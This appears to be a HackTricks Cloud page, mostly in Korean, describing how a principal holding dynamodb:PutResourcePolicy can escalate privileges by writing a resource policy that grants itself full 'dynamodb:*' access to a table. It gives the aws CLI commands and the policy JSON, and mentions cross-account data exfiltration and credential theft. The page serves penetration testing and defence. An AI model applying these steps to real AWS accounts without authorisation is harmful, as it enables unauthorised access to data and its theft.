AWS - DynamoDB Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
dynamodb
For more info about dynamodb check:
dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy
2024년 3월부터 AWS는 DynamoDB에 대해 resource based policies를 제공합니다 (AWS News).
따라서 테이블에 대해 dynamodb:PutResourcePolicy 권한이 있으면 자신이나 다른 principal에게 테이블에 대한 전체 액세스를 부여할 수 있습니다.
관리자가 dynamodb:Put*를 부여하면 해당 principal이 데이터베이스에 아이템을 넣는 것만 가능할 것이라고 생각하거나, 2024년 3월 이전에 해당 권한 세트를 부여한 경우 등으로 인해 무작위 principal에게 dynamodb:PutResourcePolicy를 부여하는 일이 종종 우연히 발생합니다...
이상적으로는 dynamodb:GetResourcePolicy도 가지고 있어야 다른 잠재적으로 중요한 권한을 덮어쓰지 않고 필요한 추가 권한만 주입할 수 있습니다:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
현재 정책을 가져올 수 없다면, 해당 principal에게 table에 대한 전체 액세스 권한을 부여하는 다음 정책을 사용하세요:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
커스터마이즈가 필요하다면, 모든 가능한 DynamoDB actions 목록은 다음을 참고하세요: AWS Documentation. 그리고 리소스 기반 정책으로 허용할 수 있는 모든 action과 그 중 어떤 것들이 cross-account (think data exfiltration!)으로 사용될 수 있는지에 대한 목록은 다음을 참고하세요: AWS Documentation
이제 정책 문서 policy.json이 준비되었으면, 리소스 정책을 넣습니다:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
이제 필요한 권한을 얻었을 것입니다.
Post Exploitation
제가 알기로는 일부 AWS dynamodb 권한만으로 AWS에서 권한을 직접 상승시킬 수 있는 다른 방법은 없습니다. 테이블에서 민감한 정보를 읽을 수 있고(여기에는 AWS 자격증명이 포함될 수 있음) 테이블에 정보를 쓸 수 있습니다(이로 인해 lambda code injections... 같은 다른 취약점이 촉발될 수 있음). 하지만 이 모든 옵션은 이미 DynamoDB Post Exploitation page에 고려되어 있습니다:
AWS - DynamoDB Post Exploitation
TODO: data Streams를 악용해 데이터 읽기
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud